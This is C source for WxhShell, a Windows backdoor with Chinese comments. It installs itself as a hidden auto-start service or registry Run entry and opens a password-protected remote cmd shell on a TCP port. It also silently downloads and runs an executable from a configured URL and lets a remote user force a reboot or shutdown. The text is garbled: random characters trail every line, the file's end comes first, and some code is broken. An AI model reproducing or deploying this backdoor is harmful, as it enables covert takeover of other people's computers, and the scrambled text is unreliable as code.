    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #l2WRw_t  
    if(Boot(SHUTDOWN)) bVRxGn @l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,v| vgt  
    else { [-[|4|CnOm  
    closesocket(wsh); fv3)#>Dgp>  
    ExitThread(0); /7*qa G  
    } [0+5 Gx  
    break; zJ0'KHF}o  
    } 8/34{2048  
  // 获取shell nDC5/xB  
  case 's': { qmnCa&C9  
    CmdShell(wsh); RDG,f/L2  
    closesocket(wsh); qfY=!|O  
    ExitThread(0); /|e"0;{  
    break; ;LT#/t)}<  
  } Q~*3Z4)j  
  // 退出 hG'2(Y!  
  case 'x': { 9aqFdlbY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8&f"")m  
    CloseIt(wsh); "ZVBn!  
    break; tX *L_  
    } =TI|uD6T  
  // 离开 Z@iMG  
  case 'q': { bOmM~pD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ah2XwFg?  
    closesocket(wsh); 7]9s_13]  
    WSACleanup(); -ap;Ul?  
    exit(1); e;}5~dSi  
    break; >Q\H1|?  
        } ?Ve5}N  
  } !"J*  
  } tbv6-) Hs  
/C8(cVNZ  
  // 提示信息 W%Zyt:H`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zk;;~ESOU  
} Js#c9l{{  
  } `TsfscN  
l1_X5DI  
  return; TbU9 < mY  
} Xhkw<XbV  
&akMj@4;R  
// shell模块句柄 9'8oOBqm3%  
int CmdShell(SOCKET sock) f&cG;Y  
{ 3yD5u  
STARTUPINFO si; |-aj$u%~  
ZeroMemory(&si,sizeof(si)); 1aMBCh<}JN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |QgXSe7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;%z0iZmg  
PROCESS_INFORMATION ProcessInfo; R;V(D3  
char cmdline[]="cmd"; 5BCaE)J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'Jl.fN  
  return 0; s3kEux^  
} gZ!(&u  
.y2<2eW  
// 自身启动模式 }>XSp)"{l  
int StartFromService(void) 7<:w-  
{ 2RXGY  
typedef struct K ;xW/7?  
{ z=Vvb  
  DWORD ExitStatus; w./EJk KI  
  DWORD PebBaseAddress; c`}X2u]k  
  DWORD AffinityMask; zXf+ieo  
  DWORD BasePriority; =nL*/  
  ULONG UniqueProcessId; @ Q1jH~t  
  ULONG InheritedFromUniqueProcessId; jh0$:6 `C  
}   PROCESS_BASIC_INFORMATION; nG*6ic  
~D=@4(f8|  
PROCNTQSIP NtQueryInformationProcess; dO//  
#"yf^*wX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7ER 2 h*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f}'gg  
}Voh5*$E`  
  HANDLE             hProcess; <d5vVn  
  PROCESS_BASIC_INFORMATION pbi; I !<v$  
Qy/bzO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c_a$g  
  if(NULL == hInst ) return 0; +l/j6)O`(m  
EH "g`r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M>J ADt_]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o%QQ7S3 P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HgBg,1  
9f6TFdUi"y  
  if (!NtQueryInformationProcess) return 0; *(MvNN*  
*_wef/==  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q%xY/xH]  
  if(!hProcess) return 0; ?(<AT]hV:  
pOYtN1uN|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YPy))>Q>cK  
G([vy#p  
  CloseHandle(hProcess); @!'H'GvA  
#Fd( [Zx#.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xbtv}g<0c  
if(hProcess==NULL) return 0; (}}8DB  
RZtL<2.@  
HMODULE hMod; td&l T(7  
char procName[255]; Bw=[g&+o1@  
unsigned long cbNeeded; g&vEc1LNo  
bX(*f>G'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wqOhJYc  
,;-*q}U  
  CloseHandle(hProcess); L K~,  
?mAw"Rb!  
if(strstr(procName,"services")) return 1; // 以服务启动 LG|,g3&  
^aW[~ c  
  return 0; // 注册表启动 V$%K=[  
} ZO 1J";>u  
PK4UdT  
// 主模块 NGY I%:  
int StartWxhshell(LPSTR lpCmdLine) qi2dTB  
{ iP%=Wo.  
  SOCKET wsl; )\;r V';  
BOOL val=TRUE; [E~TYk;  
  int port=0; k9xKaJ %1  
  struct sockaddr_in door; cj<@~[uw  
gAY2|/,  
  if(wscfg.ws_autoins) Install(); KxwLKaImI  
n_Y]iAoc`  
port=atoi(lpCmdLine); UVJ(iNK"  
VC(|t} L4  
if(port<=0) port=wscfg.ws_port; sEN@q   
3Q}Y?rkJ5  
  WSADATA data; ~m?~eJK#a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K-u/q6ufK  
j2Y(Q/i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;#i$0~lRl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5U jQLB  
  door.sin_family = AF_INET; kwR@oVR^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vNSf:5H$  
  door.sin_port = htons(port); TMCA?r%Y\  
w0Y%}7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RWo B7{G  
closesocket(wsl); B-|Zo_7  
return 1; UYOn p7R<  
}  vB*oI~<  
<;e#"(7  
  if(listen(wsl,2) == INVALID_SOCKET) { XE*bRTEw  
closesocket(wsl); *^Y0}?]qT  
return 1; 3raA^d3!?  
} iGMONJRO  
  Wxhshell(wsl); gu[dw3L  
  WSACleanup(); hY 2PV7"[;  
 Vb 9N~v  
return 0; RA I&;"  
:Qo  
} ]?`p_G3O  
~{G: ,|`  
// 以NT服务方式启动 9lJj/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \=_q{  
{ u g"<\"  
DWORD   status = 0; /$,=>  
  DWORD   specificError = 0xfffffff; Z<<gz[$+p  
f {Z%:H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i%4k5[f.:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -z$2pXT ^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HbfB[%  
  serviceStatus.dwWin32ExitCode     = 0; a BH1J]_  
  serviceStatus.dwServiceSpecificExitCode = 0; S{T d/1}  
  serviceStatus.dwCheckPoint       = 0; jY+S,lD  
  serviceStatus.dwWaitHint       = 0; ,GU/l)os`  
,D2_Z]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gCr|e}w-  
  if (hServiceStatusHandle==0) return; L_K\i?  
lY*]&8/=  
status = GetLastError(); bK8F |  
  if (status!=NO_ERROR) rOb"S*  
{ :yjK*"T|OD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZCFf@2&z8  
    serviceStatus.dwCheckPoint       = 0; eSNSnh]'  
    serviceStatus.dwWaitHint       = 0; rE `}?d  
    serviceStatus.dwWin32ExitCode     = status; E0^%|Mh]b  
    serviceStatus.dwServiceSpecificExitCode = specificError; "IS^a jaq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $YY)g$  
    return; CN~NyJL H  
  } PFy;qk  
65#:2,s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?VP!1O=J  
  serviceStatus.dwCheckPoint       = 0; / &D$kxz  
  serviceStatus.dwWaitHint       = 0; g^$11  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 33'lZ ubV  
} D#Yx,`Ui  
Pph8"`mv.m  
// 处理NT服务事件,比如:启动、停止 i6#]$B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T) tZU?  
{ ;GFB@I@  
switch(fdwControl) s[2ZxCrCw  
{ )1nCw  
case SERVICE_CONTROL_STOP: #3yw   
  serviceStatus.dwWin32ExitCode = 0; &_/%2qs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "=\_++  
  serviceStatus.dwCheckPoint   = 0; 6eYf2sZ;J  
  serviceStatus.dwWaitHint     = 0; =l2Dm  
  { _ c ]3nzIr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 66@3$P%1p  
  } s7nX\:Bw:  
  return; h<' 5q&y  
case SERVICE_CONTROL_PAUSE: Oqpl2Y"/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j-`X_8W  
  break; ~J>gVg%66  
case SERVICE_CONTROL_CONTINUE: =Cy>$/H64  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b}Hl$V(uD  
  break; 1m<?Q&|m$  
case SERVICE_CONTROL_INTERROGATE: v<3o[mq  
  break; Hn9F gul&  
}; h>Uid &:?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vo6[2.HS  
} .d~]e2x  
V l~Y  
// 标准应用程序主函数 C7 ]DJn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d9-mWz(V+  
{ '*N9"C  
`,Y[Z  
// 获取操作系统版本 seuN,jpt  
OsIsNt=GetOsVer(); ]a6O(]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ly)(_Tp@+  
A` o?+2s_  
  // 从命令行安装 Fb|e]?w  
  if(strpbrk(lpCmdLine,"iI")) Install(); :x""E5H  
x #tu  
  // 下载执行文件 V(2j*2R!  
if(wscfg.ws_downexe) { p37zz4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,]uX:h-EM  
  WinExec(wscfg.ws_filenam,SW_HIDE); )0U3w#,JQ  
} !<=%;+  
EN-H4F  
if(!OsIsNt) { ..q63dr  
// 如果时win9x,隐藏进程并且设置为注册表启动 Le` /  
HideProc(); ?VZ11?u  
StartWxhshell(lpCmdLine); 3cCK"kr  
} @UpC{M--Wr  
else h-La'}>?  
  if(StartFromService()) vNz;#Je  
  // 以服务方式启动 \U!@OX.R'M  
  StartServiceCtrlDispatcher(DispatchTable); Ac[|MBaF  
else S"P9Nf?9  
  // 普通方式启动 )ew[ Ak|  
  StartWxhshell(lpCmdLine); ?{"XrQw  
VqD[G<|9T  
return 0; P^8^1-b  
} X%a;i6pq  
b$?Xn{Y  
.lvI8Jf~X  
uS,p|}Q&  
=========================================== rmPne8D=c(  
lk[G;=K:.  
B0)`wsb_  
8 _4l"v p  
oI_oz0nHk  
-v;n"Zy1  
" F<yy>Wf  
q}<.x8\  
#include <stdio.h> 1iNsX\M  
#include <string.h> oNuPP5d[]  
#include <windows.h> \6SMn6a4  
#include <winsock2.h> PG6[lHmi  
#include <winsvc.h> X(GmiH /E  
#include <urlmon.h> C#Hcv*D  
~5r=FF6  
#pragma comment (lib, "Ws2_32.lib") Ig1lol:;  
#pragma comment (lib, "urlmon.lib") <H5n>3#pH  
aFRTNu/r  
#define MAX_USER   100 // 最大客户端连接数 9Qzjqq:"Li  
#define BUF_SOCK   200 // sock buffer y Y>-MoF/t  
#define KEY_BUFF   255 // 输入 buffer mW~i c  
u/gm10<OWa  
#define REBOOT     0   // 重启 =PNdP  
#define SHUTDOWN   1   // 关机 ]{IR&{EI-  
lx{.H,1~  
#define DEF_PORT   5000 // 监听端口 ,8c dXt   
=5y`(0 I`U  
#define REG_LEN     16   // 注册表键长度 B*?ZE4`  
#define SVC_LEN     80   // NT服务名长度 Hva2j<h  
&l. x:eD  
// 从dll定义API y$IaXr5L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (O8,zqP9l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L!;^ #g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y#S1c)vU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M!N` Orz  
xClRO,-  
// wxhshell配置信息  r=fE8[,  
struct WSCFG { !uWxRpT,7  
  int ws_port;         // 监听端口 8To7c  
  char ws_passstr[REG_LEN]; // 口令 &sm @  
  int ws_autoins;       // 安装标记, 1=yes 0=no owE<7TGPI?  
  char ws_regname[REG_LEN]; // 注册表键名 29"mE;j  
  char ws_svcname[REG_LEN]; // 服务名 EHpu*P~W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j\2] M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 44|deE3Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2?GXkPF2;A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bnijM/73  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sS, zzx<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o"|O ]  
`[WyH O|8  
}; j#N(1}r=1  
}*iAE>;  
// default Wxhshell configuration 89zuL18V  
struct WSCFG wscfg={DEF_PORT, luW <V>  
    "xuhuanlingzhe", h ZoC _\  
    1, g-."sniP$g  
    "Wxhshell", p1Q/g Il  
    "Wxhshell", MWM +hk1fs  
            "WxhShell Service", qE>i,|rP`  
    "Wrsky Windows CmdShell Service", 6 -]>]Hr-  
    "Please Input Your Password: ", za,6 du6  
  1, fC_zX}3  
  "http://www.wrsky.com/wxhshell.exe", #hIEEkCp +  
  "Wxhshell.exe" 5pO]vBT  
    }; hzaU8kb  
cX2$kIs;  
// 消息定义模块 __ 8&Jv\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KzV.+f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +Dv7:x7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !0`lu_ZN  
char *msg_ws_ext="\n\rExit."; vx'l> @]k  
char *msg_ws_end="\n\rQuit."; #`/bQ~s  
char *msg_ws_boot="\n\rReboot..."; sNL+F  
char *msg_ws_poff="\n\rShutdown..."; 4 GUA&qs  
char *msg_ws_down="\n\rSave to "; $h,d? .u6w  
ZQ|5W6c  
char *msg_ws_err="\n\rErr!"; <BSSa`N`  
char *msg_ws_ok="\n\rOK!"; P"b8!k?  
Zw+=ng.q?  
char ExeFile[MAX_PATH]; !6lOIgn  
int nUser = 0; 9 +}cE**=d  
HANDLE handles[MAX_USER]; ]*0(-@  
int OsIsNt; 19'5Re&  
_0K.Fk*(!  
SERVICE_STATUS       serviceStatus; f6Ml[!aU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X1Qr _o-BR  
ThtMRB)9  
// 函数声明 6_WmCtvF  
int Install(void); mxgqS=`  
int Uninstall(void); jDkm:X}:  
int DownloadFile(char *sURL, SOCKET wsh); {t&*>ma6)  
int Boot(int flag); d [r-k 2  
void HideProc(void); :WVSJ,. !  
int GetOsVer(void); OZ=Cp$  
int Wxhshell(SOCKET wsl); f_rp<R>Uu  
void TalkWithClient(void *cs); VrVDm*AGQ  
int CmdShell(SOCKET sock); @a0Q0M  
int StartFromService(void); 975 _d_U  
int StartWxhshell(LPSTR lpCmdLine); xpAok]  
^CUSlnB\(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QCWf.@n  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  7SaiS_{:  
WVOoHH  
// 数据结构和表定义 NddO*`8+)  
SERVICE_TABLE_ENTRY DispatchTable[] = Y17hOKc`  
{ 8&%Cy'TIz4  
{wscfg.ws_svcname, NTServiceMain}, 7#ofNH J  
{NULL, NULL} ZNi +Aw$u  
}; teAukE=}  
S nW7x  
// 自我安装 :<H8'4>  
int Install(void) Hte[TRbM  
{ z?4=h Sy  
  char svExeFile[MAX_PATH]; Ls1B \Aw_  
  HKEY key; _B3zRO  
  strcpy(svExeFile,ExeFile); TKo<~?  
1eHe~p ,  
// 如果是win9x系统,修改注册表设为自启动 okstY4f'  
if(!OsIsNt) { ?pqU3-knH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cAb>2]M5V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w//omF'`  
  RegCloseKey(key); yPoSJzC=[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gGEIK0\{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eeW`JG-E  
  RegCloseKey(key); Kk=LXmL2  
  return 0; Yk'm?p#~  
    } ywO mQcZ  
  } QjJfE<h  
} Z5$fE7ba+  
else { *}w+ 68eO  
LL.x11 o3  
// 如果是NT以上系统,安装为系统服务 pw\P<9e=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oR#Ob#&  
if (schSCManager!=0) >g]ON9CGH  
{ <UT>PCNG  
  SC_HANDLE schService = CreateService N'QqJe7Z  
  ( 9,scH65x  
  schSCManager, aBxiK[[`  
  wscfg.ws_svcname, {~_ Y _-  
  wscfg.ws_svcdisp, Bd&`Xfebj  
  SERVICE_ALL_ACCESS, VO_dA4C}z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &iBNO,v  
  SERVICE_AUTO_START, !zR)D|w&  
  SERVICE_ERROR_NORMAL, w#9_eq|3  
  svExeFile, n'M>xq_  
  NULL, 9 I{/zKq  
  NULL, 8Q=ZH=SQK  
  NULL, : y1Bt+Fp  
  NULL, RYy,wVh}  
  NULL pawl|Z'Ez  
  ); aCl A{  
  if (schService!=0) g*J@[y;  
  { G?xJv`"9iC  
  CloseServiceHandle(schService); Bd# TUy  
  CloseServiceHandle(schSCManager); |55dbL$w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JNi=`X&A  
  strcat(svExeFile,wscfg.ws_svcname); "}zt`3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +rc SL8C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q|c|2byb  
  RegCloseKey(key); i%F<AY\O)  
  return 0; Z!_n_F k  
    } VD [pZ2;4  
  } "VTF}#Uo  
  CloseServiceHandle(schSCManager); )R &,'`\  
} DpvrMI~I_  
} 2w?hgNz  
qybxXK:  
return 1; /iG7MC\`  
} p!DP`Ouc3\  
4TZ cc|B5  
// 自我卸载 J# EP%  
int Uninstall(void) :c=.D;,  
{ cbYK5fj"T  
  HKEY key; -[heV|$;  
Wekqn!h  
if(!OsIsNt) {  #^0(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g) 1X&>  
  RegDeleteValue(key,wscfg.ws_regname); dYF=c   
  RegCloseKey(key); %u!b& 5]e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !MV@) (.  
  RegDeleteValue(key,wscfg.ws_regname); W5 ec  
  RegCloseKey(key); #|f~s  
  return 0; FFvCi@oT  
  } *x(Jq?5O7X  
} >2lwWXA  
} zK;XF N#U^  
else { e;(  
VaR/o#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E!mmLVa9  
if (schSCManager!=0) qZ+H5AG2  
{ v&;:^jJ8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D*2\{W/  
  if (schService!=0) Gu;OV LR|  
  { bRsTBp;R`I  
  if(DeleteService(schService)!=0) { tj5giQ3DG)  
  CloseServiceHandle(schService); z7T0u.4Ss  
  CloseServiceHandle(schSCManager); tC)6  
  return 0; 6N" l{!  
  } ~x]9SXD%  
  CloseServiceHandle(schService); Dl,`\b@Fw3  
  } D$q'FZH  
  CloseServiceHandle(schSCManager); RN9;kB)c  
} RUo9eQIPD  
} -LWK*q[J;*  
4XJiIa?  
return 1; Gquuy7[&  
} @~:8ye  
mYv(R!37'  
// 从指定url下载文件 Z :nbZHByh  
int DownloadFile(char *sURL, SOCKET wsh) $k%Z$NSN=  
{ s([dGD$i  
  HRESULT hr; RE"^ )-  
char seps[]= "/"; rRb+_]Lg  
char *token; eUBrzoCO  
char *file; ~ ?^/u8  
char myURL[MAX_PATH]; | C+o;  
char myFILE[MAX_PATH]; caq} &A]C  
tef^ShF]  
strcpy(myURL,sURL); QG3&p<  
  token=strtok(myURL,seps); !mnUdR|>(  
  while(token!=NULL) D1T@R)j  
  { {C3Y7<  
    file=token; 3yO=S0`  
  token=strtok(NULL,seps); KoBW}x9Jp  
  } DuF"*R~et  
{hdPhL  
GetCurrentDirectory(MAX_PATH,myFILE); dh -,E  
strcat(myFILE, "\\"); d) ahF[82  
strcat(myFILE, file); m%r/O&g  
  send(wsh,myFILE,strlen(myFILE),0); \ |!\V  
send(wsh,"...",3,0); K$[$4 dX]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U[\Vj_?(I  
  if(hr==S_OK) z5 m>H;P  
return 0; wkb$^mU  
else A9:NKY{z  
return 1; N4!<Xj  
[f{VIE*?%  
} 4. qtp`  
i$^ZTb^  
// 系统电源模块 fiDl8=~@  
int Boot(int flag) V5mTu)tp5  
{ (6gK4__}]  
  HANDLE hToken; )"<8K}%!  
  TOKEN_PRIVILEGES tkp; :d,^I@]  
ajH"Jy3A  
  if(OsIsNt) { Acm<-de  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); } cNW^4F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~Y!kB:D5;~  
    tkp.PrivilegeCount = 1; MuI2?:~:*4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U1R4x!ym4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E6MA?Ax&=  
if(flag==REBOOT) { #JW+~FU`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $)Bg JDr  
  return 0; \_BkY%a  
} kxB.,'  
else { 5Av=3[kh"%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E-2 eOT  
  return 0; Y] g?2N=E  
} G4-z3e,crr  
  } ,xi({{L*  
  else { AC- )BM';  
if(flag==REBOOT) { ]0j9>s2|Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z;DCI-Wg  
  return 0; dJk9@u  
} ,!QV>=  
else { ;0%OB*lcgE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  iThSt72  
  return 0; 83Ou9E!W  
} zGo|JF  
} K\?]$dK5  
DBH#)4do@  
return 1; 1NLg _UBOK  
} `ldz`yu6++  
~/#1G.H  
// win9x进程隐藏模块 mTDVlw0dh  
void HideProc(void) e@<?zS6  
{ } p:%[  
%&<LNEiUN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (P|pRVO  
  if ( hKernel != NULL ) !nf-}z e{  
  { t+Bf#:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8?FueAM'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8At<Wic  
    FreeLibrary(hKernel); ['qnn|  
  }  :$r ^_  
YA]5~ ZE\  
return; KLWDo%%u  
} 0Q9T3X  
)xU-;z0"~  
// 获取操作系统版本 6;b9swmh  
int GetOsVer(void) XP?rOOn  
{ ssQ BSbx  
  OSVERSIONINFO winfo; 2\<.0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p s|)cW3`  
  GetVersionEx(&winfo); kGYTl,A{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2[yBD-":  
  return 1; N:5[,O<m_  
  else |UUdz_i!:  
  return 0; P5 <vf  
} aoW6U{\  
<yUstz,Xu^  
// 客户端句柄模块 v $({C  
int Wxhshell(SOCKET wsl) KA s1(oG  
{ \3YO<E!t  
  SOCKET wsh; (g!p>m!Z  
  struct sockaddr_in client; e /K#>,  
  DWORD myID; GIwh@4;  
8(U{2B8>\%  
  while(nUser<MAX_USER) ;3'NMk  
{ MjL)IgT  
  int nSize=sizeof(client); } ?@5W,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e&<yX  
  if(wsh==INVALID_SOCKET) return 1; 0ezYdS~o  
{Tp2H_EG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6=GZLpv  
if(handles[nUser]==0) YUWn;#  
  closesocket(wsh); E+95WF|4k"  
else f:JlZ&  
  nUser++; I27,mS+]  
  } "f.Z}AbP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^rNUAj9Z  
lEjwgk {  
  return 0; JH,/jR  
} }ut]\]b  
)(M7lq.e7  
// 关闭 socket wucV_p.E  
void CloseIt(SOCKET wsh) z,SYw &S  
{ RBKOM$7  
closesocket(wsh); nSx8E7 |V  
nUser--; R[tC^]ai  
ExitThread(0); >H][.@LyR  
} <!d"E@%v@  
Y,S\2or$  
// 客户端请求句柄 OTWkUB{  
void TalkWithClient(void *cs) g\fhp{gWB  
{  l~s7Ae  
='?:z2lJ  
  SOCKET wsh=(SOCKET)cs; R6;Phdh<>  
  char pwd[SVC_LEN]; I5ss0JSl/  
  char cmd[KEY_BUFF]; x+5k <Xi}  
char chr[1]; $"JpFT  
int i,j; h+~P"i}&\  
j1$8#/r;c  
  while (nUser < MAX_USER) { unl1*4e+  
E`\8TqO  
if(wscfg.ws_passstr) { +]xFoH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y8Xv~4qQW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lz9#A.  
  //ZeroMemory(pwd,KEY_BUFF); 's?Ai2=#  
      i=0; `NRH9l>B7  
  while(i<SVC_LEN) { +Lm4kA+aE5  
"bQ[CD  
  // 设置超时 }l0&a!C  
  fd_set FdRead; | $^;wP  
  struct timeval TimeOut; U 5w:"x  
  FD_ZERO(&FdRead); z$lF)r:Bc  
  FD_SET(wsh,&FdRead); CBT>"sYE1  
  TimeOut.tv_sec=8; |f( ~@Q:  
  TimeOut.tv_usec=0; \0;(VLN'U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *O$CaAr\s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f|EUqu%E  
7v}x?I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2RtHg_d_l  
  pwd=chr[0]; k8nLo.O  
  if(chr[0]==0xd || chr[0]==0xa) { qem(s</:  
  pwd=0; u^W2UE\  
  break; _,AzJ^  
  } E|EgB33S  
  i++;  NW9n  
    } ?9MVM~$  
10[Jl5+t  
  // 如果是非法用户,关闭 socket yq[Cq=rBk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n| O [a6G  
} yqOuX>m1c  
e&q?}Ho  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  l]!9$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SS|z*h Z  
8y';\(;  
while(1) { }u{gR:lZ  
gY AF'?  
  ZeroMemory(cmd,KEY_BUFF); \,UZX&ip  
;;s* Ohh  
      // 自动支持客户端 telnet标准   ,8G{]X)  
  j=0; Y(VJbm`  
  while(j<KEY_BUFF) { x|64l`Vp(:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vEe NW  
  cmd[j]=chr[0]; 9.O8/0w7LV  
  if(chr[0]==0xa || chr[0]==0xd) { k,Qsk d-N]  
  cmd[j]=0; h~Q)Uy5N(D  
  break; >-< 8N-@"n  
  } R>@uY( >dJ  
  j++; Vn=qV3OE]  
    } KLQTKMNv  
B@v\eF;  
  // 下载文件 ,3DXFV'uxb  
  if(strstr(cmd,"http://")) { Fig&&b a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `D5HC  
  if(DownloadFile(cmd,wsh)) I3S9Us-\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?NNn:tiD  
  else ~3h-jK?  
